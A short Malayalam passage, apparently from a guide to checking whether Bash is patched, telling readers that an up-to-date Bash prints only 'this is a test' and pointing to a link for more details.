നിങ്ങളുടെ ബാഷ് കാലികമാണെങ്കിൽ, നിങ്ങൾ മാത്രം കാണും:
this is a test
ഈ ലിങ്കിന് പിന്നിൽ കൂടുതൽ വിശദാംശങ്ങൾ ലഭ്യമാണ്.